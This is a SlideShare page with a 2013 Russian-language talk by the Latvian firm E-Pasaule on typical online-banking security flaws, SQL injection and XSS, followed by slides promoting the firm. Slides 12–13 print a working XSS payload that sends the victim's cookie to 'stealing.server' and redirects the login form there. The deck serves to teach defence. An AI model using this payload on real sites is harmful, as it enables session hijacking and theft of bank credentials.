SlideShare a Scribd company logo
ДБО 2.0
           Типичные проблемы в безопасности
                           онлайн-банкинга




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Часто встречаемые проблемы

          • SQL injections
          • XSS Scripting
          • Прочее




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
SQL injection


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Чем грозит ?
          • Узнавать данные других клиентов,
          добавить счета других клиентов
          создавать, своих пользователей,
          изменять документы и делать любые
          манипуляции в БД интернет банка

          Полный контроль за БД!

E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Как бороться ?
          Если Вы «склеиваете» SQL команды,
          в виде строки (String), значит вы
          подвергаете себя риску.




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
XSS
        (Cross site scripting)


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
XSS – Cross-site scripting

          • Самая частая атака
          • Атакующий вставляет JS код в сайт
            или в URL
          • Одна уязвимость подвергает
            опасности весь сайт



E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Чем грозит ?
• Возможно завладеть деталями сессии
  клиента и использовать их чтобы зайти в
  систему под его логином.
• Возможно работать в контексте другого
  клиента.
• Показать клиентам другую страницу
  логина (phishing) и завладеть
  информацией о клиенте

E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
https://twitter.com/search?q=xss




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Уязвимые места
          1. Возможно отправить JavaScript
          в виде Сообщение в банк
          2. Возможность отправки JavaScript’a
          через формы переводов, указывая
          цель платежа
          3. Сохранение JavaScript в описании
          счетов

E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Открыв адрес
              https://банк.банк/login_page.jsp?reason=<script>$(document).ready(function
              (){if(window.location.search=='?formName=login'){$.get('https://банк.банк/
              profile/password.jsp',function(){window.location='https://банк.банк/form_s
              how_bank.jsp?formName=profileForm%26formName=login';});}else{$.get('http:/
              /stealing.server/?a='%2bdocument.cookie);$('%23profileForm').attr('action'
              ,'http://stealing.server');$('%23login').toggle();}});</script>&login='




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Выполняется JavaScript
            $(document).ready(function() {
            if(window.location.search=='?formName=login')
                      {
                      $.get('https://банк.банк/profile/password.jsp',function() {
                      window.location='https://банк.банк/form_show_bank.jsp?formName=pr.
            .
                                });
                                } else {
                                $.get('http://stealing.server/?a='+document.cookie);

                      $('#profileForm').attr('action','http://stealing.server');
                                $('#login').toggle();
                                }
                      }
            );




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Методы защиты


          Тотальная фильтрация и проверка
          получаемой на сервере информации!




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Прочее


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
На что обращать внимание?
          •     Системная архитектура
          •     Валидация данных (debugger)
          •     Импорт документов
          •     Управление сессиями
          •     Подписание документов
          •     Использование публичных
                ресурсов (особенно hosted)


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Как мы можем
                   ПОМОЧЬ?


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Информация E-Pasaule
                              • Разработка и Внедрение
                              Оnline Решений
                              • Основаны в 1999 году
                              • Количество Сотрудников – 30
       BUREAU VERITAS
        ISO 9001:2008
     сертифицированны
                              • ISO 9001:2008


      Партнеры :



E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
ДБО
                            Возможности



E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Интернет банк

  Мобильный банк

  SMS банк

  Телефон банк

  Integra`tion модуль
E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Integra`tion модуль
                  DMZ


       Internet
                                   Internet bank
                                    Mobile bank
                                     Phone bank
                                                 ..                      INTEGRATION
                                                          Firewall                                  Firewall
                               CLIENT SIDE                                     LAYER                                 ADMIN SIDE

                   Firewall

                                CLUS
                              COM TER
                                  PATIB                                                                    CAMS dB
                                       LE                                Firewall                          (MS SQL, Oracle,
                                                                                                           Firebird SQL)




                                 CORE BANKING                      CARD                FAST PAYMENT              OTHER BANKING
                                   SYSTEMS                       SYSTEMS                  SYSTEMS                   SYSTEMS
                              (Wall, Equation, RS Bank)    (Transmaster, Way4, ..)       (Anelik, ..)           (Loans, Securities, ..)


                                                                                BANK



E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
ДБО Технологии

      • Java (J2SE), JavaScript, Ajax
      • WebServices, JDBC, JPA 2.0, JSON, XML
      • Spring MVC, Spring Rest, Spring Security
      • JavaServer Faces Technology, JSP
      • Richfaces, Dojo, jQuery




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Спасибо Вам


E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
Контактная Информация


                                                   E-Pasaule
                                                   ул. Маскавас 240,
                                                   LV 1063, г. Рига, Латвия
                                                   Телефон: +371 675-200-99
                                                   Факс: +371 678-711-22
                                                   www.epasaule.lv




E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013

More Related Content

Similar to Bervyachonok_epasaule

Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
De Novo
 
Решения КРОК для однократной и многофакторной аутентификации
Решения КРОК для однократной и многофакторной аутентификацииРешения КРОК для однократной и многофакторной аутентификации
Решения КРОК для однократной и многофакторной аутентификации
КРОК
 
Maksim_Yurlov_Resume_2015_rus
Maksim_Yurlov_Resume_2015_rusMaksim_Yurlov_Resume_2015_rus
Maksim_Yurlov_Resume_2015_rusMaksim Yurlov
 
ЗАСТАВА — Презентация решения
ЗАСТАВА — Презентация решенияЗАСТАВА — Презентация решения
ЗАСТАВА — Презентация решения
ЭЛВИС-ПЛЮС
 

Similar to Bervyachonok_epasaule (7)

Lic.i banking
Lic.i bankingLic.i banking
Lic.i banking
 
Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
Юрий Гальчевский, Евгений Осинский: "Почему современному банку нужны облачные...
 
Решения КРОК для однократной и многофакторной аутентификации
Решения КРОК для однократной и многофакторной аутентификацииРешения КРОК для однократной и многофакторной аутентификации
Решения КРОК для однократной и многофакторной аутентификации
 
6.n.danyukov oracle
6.n.danyukov oracle6.n.danyukov oracle
6.n.danyukov oracle
 
Kuznetsov_Vasco
Kuznetsov_VascoKuznetsov_Vasco
Kuznetsov_Vasco
 
Maksim_Yurlov_Resume_2015_rus
Maksim_Yurlov_Resume_2015_rusMaksim_Yurlov_Resume_2015_rus
Maksim_Yurlov_Resume_2015_rus
 
ЗАСТАВА — Презентация решения
ЗАСТАВА — Презентация решенияЗАСТАВА — Презентация решения
ЗАСТАВА — Презентация решения
 

More from FinancialStudio

матрос банк михайловский
матрос банк михайловскийматрос банк михайловский
матрос банк михайловскийFinancialStudio
 
бервячонок Epasaule
бервячонок Epasauleбервячонок Epasaule
бервячонок EpasauleFinancialStudio
 
кравец и партнеры
кравец и партнерыкравец и партнеры
кравец и партнерыFinancialStudio
 
титков ашманов и парт
титков ашманов и парттитков ашманов и парт
титков ашманов и партFinancialStudio
 
хмеленко альфа банк
хмеленко альфа банкхмеленко альфа банк
хмеленко альфа банкFinancialStudio
 
александров русский стандарт
александров русский стандарталександров русский стандарт
александров русский стандартFinancialStudio
 
невмержицкий ема
невмержицкий еманевмержицкий ема
невмержицкий емаFinancialStudio
 
федоровская ема
федоровская емафедоровская ема
федоровская емаFinancialStudio
 
каминский мбки
каминский мбкикаминский мбки
каминский мбкиFinancialStudio
 
Яблоновский Gfk
Яблоновский GfkЯблоновский Gfk
Яблоновский GfkFinancialStudio
 
Nevmergitsky_Financial studio
Nevmergitsky_Financial studioNevmergitsky_Financial studio
Nevmergitsky_Financial studioFinancialStudio
 
Szalai_Gemalto
Szalai_GemaltoSzalai_Gemalto
Szalai_Gemalto
FinancialStudio
 

More from FinancialStudio (20)

матрос банк михайловский
матрос банк михайловскийматрос банк михайловский
матрос банк михайловский
 
бервячонок Epasaule
бервячонок Epasauleбервячонок Epasaule
бервячонок Epasaule
 
кравец и партнеры
кравец и партнерыкравец и партнеры
кравец и партнеры
 
титков ашманов и парт
титков ашманов и парттитков ашманов и парт
титков ашманов и парт
 
хмеленко альфа банк
хмеленко альфа банкхмеленко альфа банк
хмеленко альфа банк
 
александров русский стандарт
александров русский стандарталександров русский стандарт
александров русский стандарт
 
невмержицкий ема
невмержицкий еманевмержицкий ема
невмержицкий ема
 
федоровская ема
федоровская емафедоровская ема
федоровская ема
 
каминский мбки
каминский мбкикаминский мбки
каминский мбки
 
Яблоновский Gfk
Яблоновский GfkЯблоновский Gfk
Яблоновский Gfk
 
Kaminsky_mbky
Kaminsky_mbkyKaminsky_mbky
Kaminsky_mbky
 
Nevmergitsky_Financial studio
Nevmergitsky_Financial studioNevmergitsky_Financial studio
Nevmergitsky_Financial studio
 
Pshenichny_ubki
Pshenichny_ubkiPshenichny_ubki
Pshenichny_ubki
 
Denisenko_RA
Denisenko_RADenisenko_RA
Denisenko_RA
 
Kovalevsky_bifit
Kovalevsky_bifitKovalevsky_bifit
Kovalevsky_bifit
 
Hlaponin_Svitit
Hlaponin_SvititHlaponin_Svitit
Hlaponin_Svitit
 
Hosiashvili_Next
Hosiashvili_NextHosiashvili_Next
Hosiashvili_Next
 
Ivchenko_SICenter
Ivchenko_SICenterIvchenko_SICenter
Ivchenko_SICenter
 
Szalai_Gemalto
Szalai_GemaltoSzalai_Gemalto
Szalai_Gemalto
 
Karpov_Ema
Karpov_EmaKarpov_Ema
Karpov_Ema
 

Bervyachonok_epasaule

  • 1. ДБО 2.0 Типичные проблемы в безопасности онлайн-банкинга E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 2. Часто встречаемые проблемы • SQL injections • XSS Scripting • Прочее E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 3. SQL injection E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 4. E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 5. Чем грозит ? • Узнавать данные других клиентов, добавить счета других клиентов создавать, своих пользователей, изменять документы и делать любые манипуляции в БД интернет банка Полный контроль за БД! E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 6. Как бороться ? Если Вы «склеиваете» SQL команды, в виде строки (String), значит вы подвергаете себя риску. E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 7. XSS (Cross site scripting) E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 8. XSS – Cross-site scripting • Самая частая атака • Атакующий вставляет JS код в сайт или в URL • Одна уязвимость подвергает опасности весь сайт E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 9. Чем грозит ? • Возможно завладеть деталями сессии клиента и использовать их чтобы зайти в систему под его логином. • Возможно работать в контексте другого клиента. • Показать клиентам другую страницу логина (phishing) и завладеть информацией о клиенте E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 10. https://twitter.com/search?q=xss E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 11. Уязвимые места 1. Возможно отправить JavaScript в виде Сообщение в банк 2. Возможность отправки JavaScript’a через формы переводов, указывая цель платежа 3. Сохранение JavaScript в описании счетов E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 12. Открыв адрес https://банк.банк/login_page.jsp?reason=<script>$(document).ready(function (){if(window.location.search=='?formName=login'){$.get('https://банк.банк/ profile/password.jsp',function(){window.location='https://банк.банк/form_s how_bank.jsp?formName=profileForm%26formName=login';});}else{$.get('http:/ /stealing.server/?a='%2bdocument.cookie);$('%23profileForm').attr('action' ,'http://stealing.server');$('%23login').toggle();}});</script>&login=' E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 13. Выполняется JavaScript $(document).ready(function() { if(window.location.search=='?formName=login') { $.get('https://банк.банк/profile/password.jsp',function() { window.location='https://банк.банк/form_show_bank.jsp?formName=pr. . }); } else { $.get('http://stealing.server/?a='+document.cookie); $('#profileForm').attr('action','http://stealing.server'); $('#login').toggle(); } } ); E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 14. Методы защиты Тотальная фильтрация и проверка получаемой на сервере информации! E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 15. Прочее E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 16. На что обращать внимание? • Системная архитектура • Валидация данных (debugger) • Импорт документов • Управление сессиями • Подписание документов • Использование публичных ресурсов (особенно hosted) E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 17. Как мы можем ПОМОЧЬ? E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 18. Информация E-Pasaule • Разработка и Внедрение Оnline Решений • Основаны в 1999 году • Количество Сотрудников – 30 BUREAU VERITAS ISO 9001:2008 сертифицированны • ISO 9001:2008 Партнеры : E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 19. ДБО Возможности E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 20. Интернет банк Мобильный банк SMS банк Телефон банк Integra`tion модуль E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 21. Integra`tion модуль DMZ Internet Internet bank Mobile bank Phone bank .. INTEGRATION Firewall Firewall CLIENT SIDE LAYER ADMIN SIDE Firewall CLUS COM TER PATIB CAMS dB LE Firewall (MS SQL, Oracle, Firebird SQL) CORE BANKING CARD FAST PAYMENT OTHER BANKING SYSTEMS SYSTEMS SYSTEMS SYSTEMS (Wall, Equation, RS Bank) (Transmaster, Way4, ..) (Anelik, ..) (Loans, Securities, ..) BANK E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 22. ДБО Технологии • Java (J2SE), JavaScript, Ajax • WebServices, JDBC, JPA 2.0, JSON, XML • Spring MVC, Spring Rest, Spring Security • JavaServer Faces Technology, JSP • Richfaces, Dojo, jQuery E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 23. Спасибо Вам E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013
  • 24. Контактная Информация E-Pasaule ул. Маскавас 240, LV 1063, г. Рига, Латвия Телефон: +371 675-200-99 Факс: +371 678-711-22 www.epasaule.lv E-PASAULE, Латвия | День Безопасности дистанционного банкинга | 03.04.2013